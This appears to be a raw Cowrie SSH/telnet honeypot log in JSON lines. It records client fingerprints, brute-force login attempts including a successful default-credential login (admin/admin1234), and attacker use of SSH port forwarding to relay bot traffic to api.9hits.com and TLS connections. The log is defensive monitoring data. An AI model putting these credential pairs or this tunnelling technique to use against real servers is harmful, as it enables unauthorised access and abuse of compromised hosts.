{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:44.822817Z","src_ip":"91.92.40.36","session":"8add11f4bb4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.44086527824402,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:44.945097Z","src_ip":"128.199.8.54","session":"3e049795911a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Pa55word","message":"login attempt [debian/Pa55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:46.924005Z","src_ip":"91.92.40.36","session":"8add11f4bb4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:48.657800Z","src_ip":"91.92.40.36","session":"8add11f4bb4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":58311,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa1ef8281f70","protocol":"ssh","message":"New connection: 113.164.152.20:58311 (10.17.0.5:22) [session: aa1ef8281f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:49.568094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:49.572703Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:49.847854Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:50.990951Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:51.374201Z","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:51.551241Z","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:51.640934Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; J9110 Build/55.2.A.4.154) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bEJXOFUvckNSX0UobDcvKg%3D%3DCUJiYJOAoE85dMiABqBpolQzrE%2FdnSTEBf184V%2FGaGVZXkLS3yGZZ6hWcok7uHwrl9Yai1Rq1c4wHmdNh4r0jSRGilCQhkC9EC53LyJA2x3gsmlAePzh5R9G9MUeHlUXv%2BiqnEzoJtwkfOkJNfzOMZLoIRyILwHDpyAqMQBmG9pYNhR3ps3bYh%2FIvEYNyHgMcptINySOvgbUxdmrL3KPLZl1ob7vth0zWra%2BSC8Rk1na8UmiosoqBqzM6%2BiFpWON%2FR9pBM%2BzOZWvUvQqFe%2Fa6yCQVk0L%2BcwqDVVj%2BXxj2lBvqG2nCvRVotIvXGYXQAfVsyyTlM9%2BLfR2vHIqR99LPcxj2WIeUTarMp%2B51fpn9gaF6fw5kFCR3ANx%2B%2Fpsb6fTKB9bhJNlOutFkbH4AEVZzDpb7Ufrh8DGIVXF46y%2Ftlr7ndRDExDXcpuYCT9DcuHh1NH1hdhhEy40j9MY%2BvI5tb%2Fox8tw7rENzbka%2BwsCMSye6uPRtR8tkIze1%2FhQj7HXDm0Hjjduh7J5A5MMFadxntzyZoy6ecw%2F5ZKpu%2F2Oy9RQws2953EUnCIe8hgDRUTRl%2F6JuifltIhjbzOcF1T3Xu6gGa6Ilge3VuoCQDJTMsNhIfUe6WJJT%2FSle2JueOMWfSLC3oxGHbLyz3i8aaidFWonYRRl6Dk6RsUC4l7x430FsMQ1HJ2VIWrQkOcJ3%2F%2BtaPQLP0zM7gfwmQtPcLjvy1ZJTXJxy%2BcBdFyu7KG1R%2BEwGx%2F38bPnlwZO1Ua8KvXI9k16NXet26ShgoDgEyh2n4Ak5tD5C%2BE7jdNdZZS5Jmv4yNw5VHJFhQi3HC5QamKsqErgv41bQLrLI22RBzSflOvd60NMhVpGog7780fcvxePr%2BIddZzdBCciA4drG8uH1CEMmBaoTBenhJtlLPvZvkV4xO%2BCM8s5kWVy45dJM4Rb1duWcGwG4hu%2BX3QMqDKpSHFFermEP1q%2FPE9KcwvnWEXSLCvpFs287dLCjNiaKTRumMbu4EO%2BK22Ah%2F9dFNSYqZR7%2B9ijHZrMCjeeZbax0XGnMYOgODWdlgcGmjCAnBT2TfmpUCai2Amuyq0w%2F3Xl'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; J9110 Build/55.2.A.4.154) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bEJXOFUvckNSX0UobDcvKg%3D%3DCUJiYJOAoE85dMiABqBpolQzrE%2FdnSTEBf184V%2FGaGVZXkLS3yGZZ6hWcok7uHwrl9Yai1Rq1c4wHmdNh4r0jSRGilCQhkC9EC53LyJA2x3gsmlAePzh5R9G9MUeHlUXv%2BiqnEzoJtwkfOkJNfzOMZLoIRyILwHDpyAqMQBmG9pYNhR3ps3bYh%2FIvEYNyHgMcptINySOvgbUxdmrL3KPLZl1ob7vth0zWra%2BSC8Rk1na8UmiosoqBqzM6%2BiFpWON%2FR9pBM%2BzOZWvUvQqFe%2Fa6yCQVk0L%2BcwqDVVj%2BXxj2lBvqG2nCvRVotIvXGYXQAfVsyyTlM9%2BLfR2vHIqR99LPcxj2WIeUTarMp%2B51fpn9gaF6fw5kFCR3ANx%2B%2Fpsb6fTKB9bhJNlOutFkbH4AEVZzDpb7Ufrh8DGIVXF46y%2Ftlr7ndRDExDXcpuYCT9DcuHh1NH1hdhhEy40j9MY%2BvI5tb%2Fox8tw7rENzbka%2BwsCMSye6uPRtR8tkIze1%2FhQj7HXDm0Hjjduh7J5A5MMFadxntzyZoy6ecw%2F5ZKpu%2F2Oy9RQws2953EUnCIe8hgDRUTRl%2F6JuifltIhjbzOcF1T3Xu6gGa6Ilge3VuoCQDJTMsNhIfUe6WJJT%2FSle2JueOMWfSLC3oxGHbLyz3i8aaidFWonYRRl6Dk6RsUC4l7x430FsMQ1HJ2VIWrQkOcJ3%2F%2BtaPQLP0zM7gfwmQtPcLjvy1ZJTXJxy%2BcBdFyu7KG1R%2BEwGx%2F38bPnlwZO1Ua8KvXI9k16NXet26ShgoDgEyh2n4Ak5tD5C%2BE7jdNdZZS5Jmv4yNw5VHJFhQi3HC5QamKsqErgv41bQLrLI22RBzSflOvd60NMhVpGog7780fcvxePr%2BIddZzdBCciA4drG8uH1CEMmBaoTBenhJtlLPvZvkV4xO%2BCM8s5kWVy45dJM4Rb1duWcGwG4hu%2BX3QMqDKpSHFFermEP1q%2FPE9KcwvnWEXSLCvpFs287dLCjNiaKTRumMbu4EO%2BK22Ah%2F9dFNSYqZR7%2B9ijHZrMCjeeZbax0XGnMYOgODWdlgcGmjCAnBT2TfmpUCai2Amuyq0w%2F3Xl'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:51.643982Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:51.906826Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7\\x87\\x9am\\xb7\\xba5\\xa8\\xe9_\\xb1&\\xf9\\xb2\\xddP\\xbc\\xf4\\x93]\\x94V?\\xfd\\x90\\xf92^\\xbc\\x86\\xca] )\\x0f>\\x13\\xc5`UL)\\xc3P\\x9e/b\\x11B\\xcaH\\x7f*\\x9cn\\x02\\xa0h\\x1a\\xd6\\xadY*\\xfc\\xba\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xebT\\x1a\\x8c\\xf2\\xad\\x0c>\\xddw&\\xb9\\x19*\\xcb\\xb4_\\x89\\xa9PDRA\\xab\\x9e\\xd7\\x93\\xb5A)+/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7\\x87\\x9am\\xb7\\xba5\\xa8\\xe9_\\xb1&\\xf9\\xb2\\xddP\\xbc\\xf4\\x93]\\x94V?\\xfd\\x90\\xf92^\\xbc\\x86\\xca] )\\x0f>\\x13\\xc5`UL)\\xc3P\\x9e/b\\x11B\\xcaH\\x7f*\\x9cn\\x02\\xa0h\\x1a\\xd6\\xadY*\\xfc\\xba\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xebT\\x1a\\x8c\\xf2\\xad\\x0c>\\xddw&\\xb9\\x19*\\xcb\\xb4_\\x89\\xa9PDRA\\xab\\x9e\\xd7\\x93\\xb5A)+/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:51.910162Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:52.434356Z","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:52.702586Z","src_ip":"113.164.152.20","session":"aa1ef8281f70","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03mF\\x1au \\xf3<\\t\\xe8\\xbf\\x81\\x1c(\\xe6\\\\[\\x02\\xaf_g\\x14\\'/\\xadU[\\xb2\\xfeW\\xcc\\xdaA \\x8c\\n]!\\xc2\\xe5\\xbbq\\xcaK\\xd5}\\xd6\\xdd\\x9cW\\xabO\\xa1\\xc4\\x8b\\xde\\x01p\\x1cO\\x90\"\\xe4\\xa07G\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 +F\\xed\\rV`\\xa1y\\x9ed\\x1d\\x81\\xd4\\x87\\r/\\x95\\x1fm\\xad\\x1e\\xda\\x81!\\xf6a7^\\xe3Y\\x0c5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03mF\\x1au \\xf3<\\t\\xe8\\xbf\\x81\\x1c(\\xe6\\\\[\\x02\\xaf_g\\x14\\'/\\xadU[\\xb2\\xfeW\\xcc\\xdaA \\x8c\\n]!\\xc2\\xe5\\xbbq\\xcaK\\xd5}\\xd6\\xdd\\x9cW\\xabO\\xa1\\xc4\\x8b\\xde\\x01p\\x1cO\\x90\"\\xe4\\xa07G\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 +F\\xed\\rV`\\xa1y\\x9ed\\x1d\\x81\\xd4\\x87\\r/\\x95\\x1fm\\xad\\x1e\\xda\\x81!\\xf6a7^\\xe3Y\\x0c5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\